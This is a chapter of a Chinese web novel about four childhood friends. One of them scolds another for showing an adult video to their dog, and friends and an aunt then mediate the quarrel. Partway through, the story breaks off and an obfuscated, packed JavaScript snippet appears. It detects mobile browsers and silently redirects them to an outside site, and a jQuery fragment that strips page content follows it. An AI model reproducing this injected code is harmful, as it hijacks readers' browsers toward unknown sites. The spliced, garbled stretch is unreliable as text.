“我一不在,你就和瓢儿白干上架了?”霍世昕单膝压在沙发上,把白晓元抱起来,看着他憋得通红的精致脸蛋儿好气又好笑,“你几岁?”
“你——”白晓元就老实了几秒,然后开始在霍世昕怀里剧烈挣扎,“你管我!”
“放我下来!”
“行行行,我放你下来。”霍世昕把白晓元放下来,本意是想让他坐沙发上,白晓元却不干了。
霍世昕宽肩高个身材又好,单膝跪在沙发上,几乎能把白晓元整个都笼罩起来,白晓元只有仰起头看对方,却见此人在嗯嗯啊啊的背景音下丝毫没有一点反思之意,反而冲他挑了挑眉,大拇指朝后比了比电视里激一情四射的画面,问:“你放的?”
白晓元:“?”
你还栽赃起我来了???
白晓元从沙发上跳起来,光站在沙发上还不够,他还特意踏出一脚踩着沙发扶手,俯视眼前一米九一的霍世昕,大手一挥指着电视。
身高差就代表气势差,输什么都不能输气势!
“霍世昕,你不解释一下吗?”白晓元一手怒指电视,还不忘用另一手提了提刚刚挣扎时松掉的裤子维持形象,“这视频怎么回事?”
“房东留下来的。”霍世昕倒是不以为,抱着胳膊在白晓元身边坐下来,向后舒服地靠住沙发,长腿抬起来闲适地搭在茶几上。
“这黑皮哥们儿身材挺好啊,估计身高体重和我差不多。”
白晓元:“?你还看上了?”
再一反应过来,生气地说:“你对着小簧片都能吹一波自己身材好?”
霍世昕耸肩:“难道不好吗?”
还不忘让一边蹲着边吃瓜边看片的小鸡毛给自己打个call:“瓢儿白,你说爸爸说的对不对?”
瓢儿白:“嗷嗷嗷——”
嗷和好同韵母,那就是好了。
霍世昕:“看吧,瓢儿白看了都说好,就你这个小傻瓜不懂欣赏。”
白晓元:“??”
他实在忍不下去了,直接从沙发跳到茶几上,脚一踩关了电视,然后蹲下来,和霍世昕面对面,小脸上全是强忍的严肃。
“别满嘴跑火车了,这套电视明明就是你搬来后才买的!这套房子房租才几千,房东会买几万的电视给租客用?”
小脑瓜子这时候倒是挺灵光了,看起来有那么点生气,但也不太多。
不过吸取了之前的教训,霍世昕也不打算冲动了,他举起手佯装投降:“好吧,我实话实说,你不是说要让瓢儿白看电视帮忙回忆一下那天晚上的事吗,我想了一下,电影的表现方法和实际差别还是有点大,瓢儿白它不一定能看懂,还是得来点真刀真枪,我就随便找了部小簧片,打算问不出瓢儿白时换这部看看。”
霍世昕觉得这个借口还挺完美的,事实他从最开始就不觉得瓢儿白能帮上忙,白晓元那会儿肯定是急坏了,病急乱投医。
只是他也没想到他就下楼送了一下凌柏尧,白晓元竟然把这部片子翻出来了。
——也行吧,一步到位。
霍世昕脑海里刷刷刷修改着方才的规划,接下里就是哄一哄他的发小,然后一起下楼去遛下狗,便利点买点零食,大排档买几份小龙虾啤酒,回家后洗个澡吃个夜宵,然后其他照以前方案进行。
却没想到自己认为完美的借口,直接让白晓元气爆炸了。
“霍世昕,你竟然敢给瓢儿白看小簧片!!!”
*
凌柏尧也没想到,他从小区出口回来拿车时,看到了戏剧化的一幕。
他的好兄弟之一火冒三丈地从单元楼里冲出来,一边冲一遍骂道:“霍世昕,你别追我!我不会原谅你的!”
再往远处一看,嚯,他另一个好兄弟还真在追他这个好兄弟,物理意义上的追。
这乐子有点大啊。
凌柏尧也不着急开车去见谢定仪了,他向后靠着自己那台黑色的改装大G,手指勾着车钥匙转悠,悠悠然看自己两个好兄弟倾情上演狗血大剧。
霍世昕个高腿长,几步就把白晓元追上了,想抓住他的胳膊解释,没想到白晓元一下就把他甩开了,霍世昕反应极快,马上又去拦,这次直接把他两个手腕都按住了。
“我解释一下好不好?”
“谁要听你解释!”白晓元怒气冲冲地说,“霍世昕,你在我这里已经没信誉了!”
论嘴炮,白晓元当然比不过法学院出身的霍世昕,他直接上武行了,凌柏尧他一看不对啊,这两人要打起来了,立马收了车钥匙走过去劝架。
“干嘛呢。”他直接插一到两人之间,左手一个,右手一个,勾住两好兄弟的脖子当和事佬,“你俩搁这演言情剧呢?还你追我赶的。”
“谁跟他演言情剧了?”
白晓元这次是真生气了,直接用力掀了凌柏尧的胳膊:“说不听就不听,走了!”
他调头就跑,霍世昕见状又想去追,没想到凌柏尧见到白晓元跑了,下意识就用力把霍世昕的肩膀压住了,他常年健身打球,力气不小,和霍世昕不相上下,两人下意识较了会儿劲,就这十几秒时间,刚好有辆出租车停在小区门口,让白晓元直接跑掉了。
“你怎么回事?”霍世昕看到扬长而去的出租车,无奈地回头看凌柏尧,“你不是急着去见老二吗?怎么还没走。”
“我是准备走 ,结果车都到门口了,遇到一个老大爷,刚拿了驾照不太会倒车,就帮他把车开到车库停好了,这不刚回来取车吗。”
白晓元跑了,凌柏尧只有问霍世昕了:“你和小白又是怎么回事,怎么就要打起来了?”
霍世昕语气不太好:“你哪个眼睛看到我和小白要打起来了?你没看到我在哄他吗?”
凌柏尧:“呵,你这叫哄啊,你都把小白手腕捏了那么重的两条红印子,你搞强一制爱呢?”
两人的发小情是从小打架打出来的,年纪渐长感情深了,打架是不打了,嘴上那是时不时要争两句的。
霍世昕斜眼看他:“老大,我劝你还是赶紧走。”
“我走了,你知道怎么去哄小白?男人连自己的兄弟都哄不好,还想拿puma的香薰去哄女孩子。”凌柏尧说,“你这是本末倒置,实话就是,女孩子要好好哄,发小也要好好哄,两手都要抓,两手都要硬。”
霍世昕:“?”
好为人师也是让凌柏尧用上了,哄女孩子他不在行,哄发小他确实挺在行。
两人短暂摩擦后,又和解了。
“温柔一点,ok?”凌柏尧勾着霍世昕的脖子,两人凑到一起交换哄发小心得,“我对初夏从来不敢用力气,像小白和初夏这样娇生惯养细皮嫩肉的就得力气轻点儿,你把小白弄疼了,他不生你的气才怪。”
霍世昕说:“我没动他。”
“看吧,你这真是没救了。”凌柏尧看了一眼时间,在陪谢定仪打游戏和陪霍世昕兄弟谈心之间还是选择了陪谢定仪打游戏,他觉得霍世昕绝对在哄发小这事上肯定是有天赋的,就是他心思不在好兄弟身上,但凡12345个女朋友少一个两个,男德分能加上来,兄弟也能哄好了。
但这真的得靠他自己悟了。
“有什么不能解释的?都二十多年的好兄弟了,你看当年我和你两人一见面都打架,最后还不是成铁哥们了。”上车前,凌柏尧对霍世昕说道,“除非你现在跑去给小白说,你喜欢他,你要和他搞对象,还要和他上一床,否则你俩这矛盾就能解——用点心啊,哥们,好兄弟之间没有过夜仇。”
霍世昕:“……”
*
直到凌柏尧到了谢定仪家,和谢定仪玩上了游戏,他都没弄明白霍世昕和白晓元是怎么吵架了,不过这在他们四人里也常见,相处了20多年,矛盾时常有,不过就和他说的一样,好兄弟之间没有隔夜仇,四个人吵着打着就长大了,感情也深了。
他连这事儿都没告诉谢定仪,反正他觉得以霍世昕这聪明脑子,明天早上肯定和小白和好了。
结果到了晚上,白晓元气不过,跑来找他和谢定仪告状了。
他还以为天大件事,结果搞了半天,是白晓元觉得霍世昕没有好好养瓢儿白。
“霍世昕真的太过分了,他竟然给瓢儿白看小簧片!”
“真的很过分,而且我开始问他,他还骗我,说小簧片是房东留下的。”
“看他那么熟练,绝对不是第一次了!”
ipad就搁在客厅上,谢定仪和凌柏尧一边玩游戏,一边听着茶几上的ipad里源源不断传来白晓元的痛诉。
“跳。”谢定仪轻声提醒,“快点。”
凌柏尧熟练地操作着手柄,结果他操作的角色跳过去了,谢定仪没过去。
“哎,又死了。”谢定仪叹了口气,放下手柄。
“那休息一会儿?”凌柏尧问。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438346|185000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“嗯。”两人都放下手柄,家里的阿姨看他们把游戏暂停了,把水果和饮料都送过来。
白晓元还在语音里嘀咕着那个小簧片。
谢定仪也就有点好奇了,到底是什么小簧片,怎么听起来对白晓元冲击那么大。
他问:“世昕是给瓢儿白看的动物交一配大全吗?”
白晓元说:“那肯定不是了,是科普片我会这么生气吗?”
谢定仪好奇:“那是什么小簧片。”
白晓元突然不做声了。
过了会儿,才小声说:“就是小簧片啊。”
支支吾吾了半天,凌柏尧和谢定仪都没弄清这是什么绝世小簧片,问白晓元他也不说。
白晓元是年纪最小的,其余三人从小就宠他,凌柏尧问:“那要不你发我看看到底是什么片子,我来和老霍说?”
白晓元:“……那,那我也没有。”
凌柏尧拿过手机;“那我给老霍发个微信?”
“别别别,千万别!”白晓元顿时急了,也结巴了,“那,那也不仅仅,不仅仅是这个小,小簧片的事情,那可多了。"
“就,霍世昕,他还,他还问瓢儿白他身材好不好,他,他那么爱孔雀开屏,肯定,说不定都在瓢儿白面前遛过鸟!”
“还有,他一点也不控制瓢儿白的零食!瓢儿白讨零食都讨出十八般武艺了!”
“还有……”
两年纪最大的就坐沙发上听年纪最小的痛诉老三对小鸡毛的各种不作为,凌柏尧抱起胳膊翘着长腿坐在谢家大别墅的大客厅里认真听着,身边的谢定仪边听边喝着家里阿姨给他煮的水果茶,途中偷瞄了一眼身边的凌柏尧,趁他不注意,飞快地从糖罐里舀了一勺糖,刚准备加到自己的杯子里,上一秒还认真看着ipad的凌柏尧抬手就把糖勺拦住了。
“当我没看见?”
“哼。”谢定仪虽是不满,还是把糖勺放了回去。
就在这时,一个爽朗的女声从楼梯口传来。
“哎呀,看来清官难断家务事啊。”
香风飘过,谢定仪的小姨突然出现在沙发后面,她弯下腰撑在沙发靠背上,语气轻快地问,“都几点了?你俩还不睡?”
“过会儿就睡。”谢定仪伸长胳膊,从桌上拿了果盘,向后递给小姨,“来一点?”
“要进组了,减肥呢,哪里敢吃这些。”小姨挥了挥披肩,下巴冲着茶几上的ipad抬了抬,“小白和小霍这矛盾还没解决呢?”
“没有。”凌柏尧皱眉说道,其实他也没听出来到底是什么矛盾闹得大晚上白晓元要来告状,但白晓元都来告状了,怎么也得替他把事情解决了。
他和谢定仪对白晓元倒是有十足的耐心,又听白晓元车轱辘告了一边状,两人也不烦,吃着水果零食,不时回应几句,就是看到谢定仪水果吃太多了,凌柏尧怕他吃多了水果晚上牙疼,便不让他吃了,拿了袋巴西松子剥给他吃。
小姨趴在沙发靠背上,陪着这两人把白晓元的痛诉又听了一遍,边听边啧啧啧。
“你们俩这感情和情绪稳定地就像是拿着退休金衣食无忧,每天晚上一起出门散步跳个广场舞,回来看会儿电视十一点准时上床睡觉的老两口,结果半夜被女儿一个电话叫起来,听女儿在电话哭诉女婿如何云云,还要大半夜解决女儿女婿矛盾。”
谢定仪:“?”
他回头问小姨:“有吗?”
“小姨说有,那不肯定有,她可是视后。”凌柏尧把几粒剥好的松子塞在谢定仪手里,然后其他的殷勤地递给身后的小姨,谢定仪的外婆,母亲,小姨,二姨各个都是文艺界的重量级大佬,家庭关系融洽,三姐妹关系极好,经常来谢定仪家里小住,当然也是凌柏尧为了进谢家大门要哄的对象。小姨过几天要进组了,所以带着儿子过来找姐姐玩,没想到大晚上还听到这几个小辈的狗血兄弟情。
这可是小姨的专长,她是专演狗血都市剧的大青衣,收视女王加视后,本来只是下楼来溜达下顺便和侄子还有侄子发小打个招呼,没想到听了个八卦,竟然听到了自己的专业领域。
这剧情她熟啊!
谢定仪悉心请教:“那您看这怎么解决。”
小姨托腮:“看你女儿怎么说喽。”
专业人士不愧是专业人士,没过一会儿,谢定仪的微信便跳出来白晓元的消息。
“初夏哥,你在吗?”